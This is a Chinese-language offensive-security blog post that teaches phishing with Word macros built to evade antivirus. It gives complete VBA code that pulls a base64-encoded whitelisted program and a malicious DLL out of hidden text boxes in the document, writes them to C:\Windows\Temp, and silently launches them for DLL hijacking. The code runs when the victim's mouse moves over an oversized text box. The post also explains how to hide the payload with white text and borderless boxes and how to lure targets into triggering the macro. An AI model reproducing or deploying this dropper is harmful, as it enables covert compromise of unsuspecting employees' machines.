0x01 介绍

根据多次项目实战中发现，office宏仍然是最高的成功率，在静默钓鱼中也是最不容易触发人员的警觉。因为大部分员工即使有安全意识，也是不运行陌生的exe程序，但是对于word文档则没有足够的安全意识，认为word文档都是安全的。正是基于此心理状态，office宏在钓鱼中仍然占据重要成分。

当然，现在office在国内市场中其实占据并不多，越来越多人用wps了。那么这种情况下office宏肯定是无效了，下篇文章会针对该情景分析如何钓鱼。

0x02 宏代码流程及免杀

网上有很多项目及文章是如何实现宏免杀的效果，之所以要宏免杀大部分原因都是代码是实现运行宏的时候就直接远程上线到rat上。例如调用powershell或者远程下载等等代码所用到的api或者函数，都被杀软盯着。那么换个思路，我们即不调用powershell执行敏感函数，也不远程下载文件，我们所做要的是释放文件并通过dll劫持实现上线。

释放文件其实也是个技术活，经过测试，能否释放文件成功主要看你的文件是不是静态免杀，如果文件静态免杀，那么就能够成功释放。因为这就是个正常的功能，杀软不可能拦截你释放安全的文件，不然就影响一些职业的正常办公了。而我们用的是dll劫持的方法，白名单程序肯定是安全的文件，那么就是我们的恶意dll文件如何实现静态免杀了。如何让dll文件静态免杀的方法很多，网上也有很多项目，这块内容不在该文章里，以后会详细讲解。

上段说了释放文件，而文件也都静态免杀了。那么还有一个要注意的地方，那就是dll劫持的程序保存在word文件哪里？首先我们得将dll劫持程序已二进制形式读取出来，然后base64编码后得到了一串字符串，只要释放的时候重新base64解码并已二进制形式写入到磁盘里，这样就能够释放出dll劫持程序了。那么重点就是该base64字符串存放在哪里？千万别放在宏代码里，很容易被杀，最好的规避杀软的方法就是将base64字符串放到word正文里的文本框等控件里。然后宏代码去读取文本框里的base64字符串，再解码写入磁盘里并运行白程序实现上线。这样通过该方法就能够实现了宏免杀。

最后一步就是如何触发宏了，千万不要使用打开word文件就触发宏的方法，很容易被杀软拦截。我常用的方法就是弄一个很大的文本框放在第一页，然后当目标的鼠标移动到文本框时就触发宏。这样的方法既能有效规避杀软，还能在目标不知情的情况下触发了宏！

总结：寻找一个dll劫持的白程序，做一个静态免杀的dll文件，将所有文件以二进制形式读取出来并base64编码后存放到word的文本框里。宏代码功能读取文本框里的字符串并解码写入磁盘，然后运行白程序即可免杀上线！

0x03 宏代码

0x03-1 读取文件并base64编码

先使用下面的代码将白程序和dll文件base64编码得到字符串

Sub WriteBinary(FileName, Buf)  Dim I, aBuf, Size, bStream  Size = UBound(Buf): ReDim aBuf(Size \ 2)  For I = 0 To Size - 1 Step 2      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))  Next  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))  aBuf = Join(aBuf, "")  Set bStream = CreateObject("ADODB.Stream")  bStream.Type = 1: bStream.Open  With CreateObject("ADODB.Stream")    .Type = 2: .Open: .WriteText aBuf    .Position = 2: .CopyTo bStream: .Close  End With  bStream.SaveToFile FileName, 2: bStream.Close  Set bStream = NothingEnd Sub
Function Base64Encode(str() As Byte) As String                                  'Base64 编码    On Error GoTo over                                                          '排错    Dim Buf() As Byte, length As Long, mods As Long    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    mods = (UBound(str) + 1) Mod 3   '除以3的余数    length = UBound(str) + 1 - mods    ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)    Dim I As Long    For I = 0 To length - 1 Step 3        Buf(I / 3 * 4) = (str(I) And &HFC) / &H4        Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10        Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40        Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F    Next    If mods = 1 Then        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10        Buf(length / 3 * 4 + 2) = 64        Buf(length / 3 * 4 + 3) = 64    ElseIf mods = 2 Then        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10        Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4        Buf(length / 3 * 4 + 3) = 64    End If    For I = 0 To UBound(Buf)        Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)    Nextover:End Function
'VB Base64 解码/解密函数：
Function Base64Decode(B64 As String) As Byte()                                  'Base64 解码    On Error GoTo over                                                          '排错    Dim OutStr() As Byte, I As Long, j As Long    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)     '判断Base64真实长度,除去补位    Dim length As Long, mods As Long    mods = Len(B64) Mod 4    length = Len(B64) - mods    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))    For I = 1 To length Step 4        Dim Buf(3) As Byte        For j = 0 To 3            Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1            '根据字符的位置取得索引值        Next        OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10        OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4        OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)    Next    If mods = 2 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16    ElseIf mods = 3 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4    End If    Base64Decode = OutStr                                                       '读取解码结果over:End Function
Sub test2()    Dim iFN As Integer    Dim sPath As String    Dim bFileSize As Long    Dim sResult As String    Dim arr() As Byte       ' 字节数组    Dim arra() As Byte       ' 字节数组    Dim infile, outfile, infileBase As String    infile = "C:\Windows\Temp\123.exe"    outfile = "c:\windows\temp\1.exe"
    iFN = VBA.FreeFile
    bFileSize = VBA.FileLen(infile)    'Debug.Print bFileSize    Open infile For Binary Access Read As iFN    arr = InputB(bFileSize, iFN)        '读取字节流
    infileBase = Base64Encode(arr())
    'Debug.Print infileBase
    Dim FSO    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set OutPutFile = FSO.OpenTextFile("C:\windows\temp\test.txt", 2, True)    OutPutFile.Write (infileBase)    OutPutFile.Close    Set FSO = Nothing
    'Dim infileBaseExe As String    'infileBaseExe = Range("J22").Value    'infileBaseExe = infileBaseExe + Range("J23").Value
    'arra = Base64Decode(infileBase)
    'WriteBinary outfile, arra
End Sub

0x03-2 office宏上线代码

从文本框中读取base64内容，解码后写入到c:\windows\temp\目录下，当用户鼠标移动或点击到文本框中，触发宏执行木马

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtrPrivate Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtrPrivate Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As LongPrivate Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPrivate Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As LongPrivate Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As LongPrivate Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type PROCESS_INFORMATION    hProcess As Long    hThread As Long    dwProcessId As Long    dwThreadId As LongEnd Type
Private Type STARTUPINFO    cb As Long    lpReserved As String    lpDesktop As String    lpTitle As String    dwX As Long    dwY As Long    dwXSize As Long    dwYSize As Long    dwXCountChars As Long    dwYCountChars As Long    dwFillAttribute As Long    dwFlags As Long    wShowWindow As Integer    cbReserved2 As Integer    lpReserved2 As Long    hStdInput As Long    hStdOutput As Long    hStdError As LongEnd Type
Const CREATE_NO_WINDOW = &H8000000Const CREATE_NEW_CONSOLE = &H10
Function fileExist(filePath)    Dim fso    Set fso = CreateObject("Scripting.FileSystemObject")    If fso.fileExists(filePath) Then        fileExist = True    Else        fileExist = False    End If    Set fso = NothingEnd Function
Function dddddd(B64 As String) As Byte()    On Error GoTo over    Dim OutStr() As Byte, i As Long, j As Long    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)    Dim length As Long, mods As Long    mods = Len(B64) Mod 4    length = Len(B64) - mods    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))    For i = 1 To length Step 4        Dim buf(3) As Byte        For j = 0 To 3            buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1        Next        OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10        OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4        OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)    Next    If mods = 2 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16    ElseIf mods = 3 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4    End If    dddddd = OutStrover:End Function
Function runCommand(comando)    Dim pInfo As PROCESS_INFORMATION    Dim sInfo As STARTUPINFO    Dim sNull As String    Dim lSuccess As Long    Dim lRetValue As Long
    lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)
    lRetValue = CloseHandle(pInfo.hThread)    lRetValue = CloseHandle(pInfo.hProcess)
End Function
Function WriteBinary(FileName, buf)  Dim i, aBuf, Size, bStream  Size = UBound(buf): ReDim aBuf(Size \ 2)  For i = 0 To Size - 1 Step 2      aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))  Next  If i = Size Then aBuf(i \ 2) = ChrW(buf(i))  aBuf = Join(aBuf, "")  Set bStream = CreateObject("ADODB.Stream")  bStream.Type = 1: bStream.Open  With CreateObject("ADODB.Stream")    .Type = 2: .Open: .WriteText aBuf    .Position = 2: .CopyTo bStream: .Close  End With  bStream.SaveToFile FileName, 2: bStream.Close  Set bStream = NothingEnd Function
Function releaseFile(path As String, conte As String)
    hwminiArra = dddddd(conte)    WriteBinary path, hwminiArra
End Function
Function start()    Dim filePath As String    filePath = "C:\Windows\temp\aaaaaaa.exe"    If Not fileExist(filePath) Then        releaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)        releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)    End If    runCommand (filePath)
End Function
Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)    Static i As Integer    i = i + 1    If i < 3 Then        start    End IfEnd Sub
Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)    Static i As Integer    i = i + 1    If i < 3 Then        start    End IfEnd Sub

0x04 隐藏文本框

将dll劫持的程序base64编码后存放在文本框里

文本框的线条设置为无颜色

将base64字符串的字体设置为白色，

将最后一页的最上方空白行删掉，那么这时候就看不到文本框了

在首页将触发宏的文本框拉到最大，然后话术诱导目标将鼠标移动或点击文本框

0x05 宏代码加密

  为了防止宏代码被分析，可以设置密码。当然这仅仅只是防不懂的人，懂的人还是会用工具解密的。

免杀 char函数 str函数 base64 文本框 char string sub
撤稿纠错
本作品采用《CC 协议》，转载必须注明作者和本文链接